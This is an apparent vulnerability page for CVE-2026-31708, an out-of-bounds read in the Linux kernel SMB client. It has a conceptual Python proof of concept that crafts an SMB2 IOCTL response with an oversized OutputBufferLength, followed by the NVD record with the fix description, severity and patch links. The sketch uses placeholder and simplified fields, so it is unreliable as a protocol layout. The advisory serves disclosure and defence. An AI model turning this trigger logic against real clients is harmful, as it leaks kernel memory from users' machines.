CVE-2026-31708

# PoC Concept: Malicious SMB Server Response Simulation # This script demonstrates how a malicious SMB server might respond # to trigger the OOB read in the client's kernel. import socket import struct # Simulate a crafted SMB2 IOCTL Response for QUERY_INFO # The key is setting OutputBufferLength larger than the actual data sent. def send_malicious_response(client_socket): # SMB2 Header (simplified) smb2_header = b"\xfe\x53\x4d\x42" # Protocol ID smb2_header += b"\x00\x00\x00\x00" # Structure Size (placeholder) # ... other header fields ... # IOCTL Response Structure structure_size = 49 output_buffer_offset = 48 # Offset to buffer output_buffer_length = 0xFFFFFFFF # Malicious large length flags = 0 # Build IOCTL response part ioctl_resp = struct.pack("<H", structure_size) ioctl_resp += struct.pack("<H", 0) # Reserved ioctl_resp += struct.pack("<I", 0) # CtlCode (placeholder) ioctl_resp += struct.pack("<I", 0) # FileId (placeholder) ioctl_resp += struct.pack("<I", 0) # Reserved ioctl_resp += struct.pack("<I", 0) # InputOffset ioctl_resp += struct.pack("<I", 0) # InputCount ioctl_resp += struct.pack("<I", output_buffer_offset) ioctl_resp += struct.pack("<I", output_buffer_length) # The malicious length ioctl_resp += struct.pack("<I", flags) ioctl_resp += struct.pack("<I", 0) # Reserved2 # Actual buffer data (smaller than declared length) buffer_data = b"AAAA" full_packet = smb2_header + ioctl_resp + buffer_data # In a real exploit, this packet would be sent as a valid SMB2 response # causing the kernel to read beyond 'buffer_data'. print(f"Sending packet with declared OutputBufferLength: {hex(output_buffer_length)}") # client_socket.send(full_packet) print("Note: This is a conceptual representation of the server-side logic required to trigger the vulnerability.")

{"cve": {"id": "CVE-2026-31708", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:20.837", "lastModified": "2026-05-06T20:25:14.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix OOB read in smb2_ioctl_query_info QUERY_INFO path\n\nsmb2_ioctl_query_info() has two response-copy branches: PASSTHRU_FSCTL\nand the default QUERY_INFO path. The QUERY_INFO branch clamps\nqi.input_buffer_length to the server-reported OutputBufferLength and then\ncopies qi.input_buffer_length bytes from qi_rsp->Buffer to userspace, but\nit never verifies that the flexible-array payload actually fits within\nrsp_iov[1].iov_len.\n\nA malicious server can return OutputBufferLength larger than the actual\nQUERY_INFO response, causing copy_to_user() to walk past the response\nbuffer and expose adjacent kernel heap to userspace.\n\nGuard the QUERY_INFO copy with a bounds check on the actual Buffer\npayload. Use struct_size(qi_rsp, Buffer, qi.input_buffer_length)\nrather than an open-coded addition so the guard cannot overflow on\n32-bit builds."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1", "versionEndExcluding": "6.6.136", "matchCriteriaId": "B28CAC2A-4B06-4D07-8736-82E515099010"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/078fae8f50adebb903ccf2252b44391324571e78", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/85fd46ee26a11841c670449508025965f61ce131", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a34d456934fe42e4da5d2cc07787bf418bee99c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a58c5af19ff0d6f44f6e9fe31e33a2c92223f77e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ac2f14e4705d020f04e806efa0d49ab8dc2b145f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}